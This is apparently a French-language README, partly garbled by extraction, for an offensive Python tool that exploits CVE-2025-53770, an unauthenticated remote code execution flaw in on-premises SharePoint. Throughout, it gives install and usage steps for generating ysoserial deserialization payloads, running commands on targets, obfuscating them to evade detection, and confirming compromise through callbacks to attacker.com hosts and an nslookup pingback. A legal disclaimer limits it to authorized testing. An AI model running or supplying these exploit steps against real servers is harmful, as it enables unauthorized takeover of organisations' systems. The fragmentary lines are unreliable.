
Un outil d'exploitation Python sophistiqué et piloté par assistant ciblant CVE-2025-53770, une vulnérabilité critique (CVSS 9.8) d'exécution de code à distance (RCE) non authentifiée dans Microsoft SharePoint Server sur site (2016, 2019, Édition Abonnement)
Divine Absolute est un outil d'exploitation Python sophistiqué et piloté par assistant, ciblant CVE-2025-53770, une vulnérabilité critique (CVSS 9,8) d'exécution de code à distance (RCE) non authentifiée dans Microsoft SharePoint Server sur site (2016, 2019, Subscription Edition). Cette vulnérabilité, divulguée en tant que zero-day le 19 juillet 2025, découle de la désérialisation de données non fiables dans /_layouts/15/ToolPane.aspx. L'outil est conçu uniquement pour les tests d'intrusion éthiques et la recherche en sécurité autorisée, offrant une précision, une furtivité et une adaptabilité inégalées pour la reconnaissance, l'exploitation et la vérification.
Dépôt : https://github.com/exfil0/CVE-2025-53770
⚠️ Avertissement légal : Cet outil est destiné à un usage licite et autorisé uniquement, dans des environnements contrôlés et avec une permission explicite. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas la permission de tester est illégale et peut entraîner de graves conséquences juridiques. L'auteur décline toute responsabilité en cas de mauvaise utilisation.
ToolPane.aspx avec un scoring avancé et des regex (par ex., 16.0.0.\d+-\w+?).ToolPane.aspx avec des contournements robustes.WebRequest.Create, Dns.GetHostEntry).-enc)./xp.aspx, basés sur UUID).www.google.com), URL personnalisées ou chemins SharePoint internes (par ex., )./_layouts/15/ToolPane.aspx./ToolPane.aspx, utiliser des règles WAF (par ex., Cloudflare).pip install requests termcolor
pip install pythonnet
ysoserial.exe dans un chemin connu (par ex., ./ysoserial.exe).# Ubuntu/Debian
sudo apt-get install mono-complete
# macOS (via Homebrew)
brew install mono
docker pull mcr.microsoft.com/sharepoint/server:2019
git clone https://github.com/exfil0/CVE-2025-53770.git
cd CVE-2025-53770
pip install -r requirements.txt
ysoserial.exe est accessible ou fournissez son chemin lors de l'exécution.Lancez l'assistant interactif :
python divine_absolute.py
Recon : recherche la présence et la version de SharePoint.Exploit : envoie la charge utile à ToolPane.aspx.Full : recon + exploit (mode agressif facultatif).https://sharepoint.example.com).ObjectDataProvider) et la commande (par ex., cmd /c whoami).http://attacker.com/callback ou sub.attacker.com).NONE, , ou un extrait personnalisé.python divine_absolute.py
# Select: Mode=Recon, Target=https://sharepoint.example.com
python divine_absolute.py
# Select: Mode=Exploit, Target=https://sharepoint.example.com, Payload=YSOSERIAL,
# ysoserial.exe path=./ysoserial.exe, Gadget=ObjectDataProvider,
# Command="cmd /c echo %COMPUTERNAME% > C:\Temp\out.txt"
python divine_absolute.py
# Select: Mode=Full, Target=target_list.txt, Payload=FILE, Payload File=payload.b64,
# Verify Path=/sitepages/out.txt, Regexes="COMPUTERNAME", Status Codes=200
python divine_absolute.py
# Select: Mode=Exploit, Payload=PINGBACK, Pingback URL=sub.attacker.com
Les résultats sont enregistrés dans xanthorox_results.json avec les champs suivants :
target : URL testée.sharepoint_detected : booléen.toolpane_accessible : booléen.exploited : booléen (charge utile envoyée).verified_rce : booléen/null (RCE confirmée).error : toutes les erreurs rencontrées.Exemple :
[
{
"target": "https://sharepoint.example.com",
"sharepoint_detected": true,
"toolpane_accessible": true,
"exploited": true,
"verified_rce": true,
"error": null
}
]
Cette version corrige :
-enc) ; prend en charge les commandes non PowerShell (par ex., cmd.exe) avec des avertissements.pythonnet pour un pingback DNS fiable avec Dns.GetHostEntry (expérimental, nécessite un gadget pour un effet complet).ysoserial.exe -f LosFormatter -g ObjectDataProvider -c "cmd /c nslookup sub.attacker.com" -o base64 et vérifiez les journaux DNS.Dns.GetHostEntry dans pythonnet peut ne pas se déclencher sans une chaîne de gadgets spécifique.Les contributions sont les bienvenues ! Veuillez :
git checkout -b feature/awesome-improvement).git commit -m "Add awesome improvement").git push origin feature/awesome-improvement).Ce projet est sous licence MIT. Voir LICENSE pour plus de détails.
Note : Vérifiez toujours les charges utiles et les configurations dans un laboratoire contrôlé avant utilisation. Restez éthique, restez légal.
/_layouts/15/sharepoint.aspxRequestException, et codes de statut/chemins personnalisables.MicrosoftSharePointTeamServices), les chemins (par ex., /versions.aspx) et les regex.BASIC_REFLECTIONCONCAT_OBFUSCATEDNONE, FIXED (par ex., /xp.aspx), RANDOM (basé sur UUID).DEFAULT_SP, NO_REFERER, RANDOM_EXTERNAL, CUSTOM_URL.http://127.0.0.1:8080)./sitepages/result.txt), les regex (par ex., Xanthorox.*), les codes de statut (par ex., 200,403), les tentatives, le délai et le délai d'expiration.